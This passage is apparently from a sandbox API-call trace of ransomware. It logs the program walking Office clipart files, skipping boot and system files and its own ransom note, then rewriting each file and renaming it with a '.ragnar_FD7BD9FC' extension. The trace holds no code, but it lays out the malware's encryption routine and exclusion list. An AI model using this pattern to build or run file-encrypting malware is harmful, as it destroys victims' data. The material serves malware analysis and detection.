liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.809] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x73bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x73bc, lpOverlapped=0x0) returned 1 [0080.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.811] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.811] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x73bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x73bc, lpOverlapped=0x0) returned 1 [0080.811] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.811] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x73bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.812] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.812] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.812] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.812] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.812] GetProcessHeap () returned 0x580000 [0080.812] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.812] CloseHandle (hObject=0xf4) returned 1 [0080.812] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" [0080.812] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.ragnar_FD7BD9FC" [0080.812] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0080.813] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.813] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00255_.WMF" | out: lpString1="DD00255_.WMF") returned="DD00255_.WMF" [0080.813] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned=".WMF" [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="autorun.inf") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="boot.ini") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="bootfont.bin") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="bootsect.bak") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="bootmgr") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="bootmgr.efi") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="desktop.ini") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="iconcache.db") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="ntldr") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="ntuser.dat") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="ntuser.ini") returned -1 [0080.813] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="thumbs.db") returned -1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.813] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0080.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.814] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2690) returned 1 [0080.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.814] GetProcessHeap () returned 0x580000 [0080.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.815] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.816] VirtualAlloc (lpAddress=0x0, dwSize=0xa82, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.816] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa82, lpOverlapped=0x0) returned 1 [0080.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.817] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa82, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.817] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa82, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa82, lpOverlapped=0x0) returned 1 [0080.817] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa82, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.817] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.817] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.817] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.817] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.817] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.817] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.817] GetProcessHeap () returned 0x580000 [0080.817] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.817] CloseHandle (hObject=0xf4) returned 1 [0080.818] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" [0080.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.ragnar_FD7BD9FC" [0080.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.818] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0080.818] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.818] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00256_.WMF" | out: lpString1="DD00256_.WMF") returned="DD00256_.WMF" [0080.818] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned=".WMF" [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="autorun.inf") returned 1 [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="boot.ini") returned 1 [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="bootfont.bin") returned 1 [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="bootsect.bak") returned 1 [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="bootmgr") returned 1 [0080.818] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="bootmgr.efi") returned 1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="desktop.ini") returned -1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="iconcache.db") returned -1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="ntldr") returned -1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="ntuser.dat") returned -1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="ntuser.ini") returned -1 [0080.819] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="thumbs.db") returned -1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.819] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0080.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.819] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2832) returned 1 [0080.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.819] GetProcessHeap () returned 0x580000 [0080.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.819] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.821] VirtualAlloc (lpAddress=0x0, dwSize=0xb10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.821] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb10, lpOverlapped=0x0) returned 1 [0080.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.822] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb10, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.822] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb10, lpOverlapped=0x0) returned 1 [0080.822] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.822] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.822] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.822] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.822] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.822] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.822] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.822] GetProcessHeap () returned 0x580000 [0080.822] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.822] CloseHandle (hObject=0xf4) returned 1 [0080.823] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" [0080.823] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.ragnar_FD7BD9FC" [0080.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.823] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0080.823] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.823] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00261_.WMF" | out: lpString1="DD00261_.WMF") returned="DD00261_.WMF" [0080.823] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned=".WMF" [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="autorun.inf") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="boot.ini") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="bootfont.bin") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="bootsect.bak") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="bootmgr") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="bootmgr.efi") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.823] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="desktop.ini") returned -1 [0080.824] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="iconcache.db") returned -1 [0080.824] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="ntldr") returned -1 [0080.824] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="ntuser.dat") returned -1 [0080.824] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.824] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="ntuser.ini") returned -1 [0080.824] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="thumbs.db") returned -1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.824] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0080.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.824] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37974) returned 1 [0080.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x944d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.825] GetProcessHeap () returned 0x580000 [0080.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.825] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.827] VirtualAlloc (lpAddress=0x0, dwSize=0x9456, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.827] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9456, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9456, lpOverlapped=0x0) returned 1 [0080.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.829] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9456, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.829] 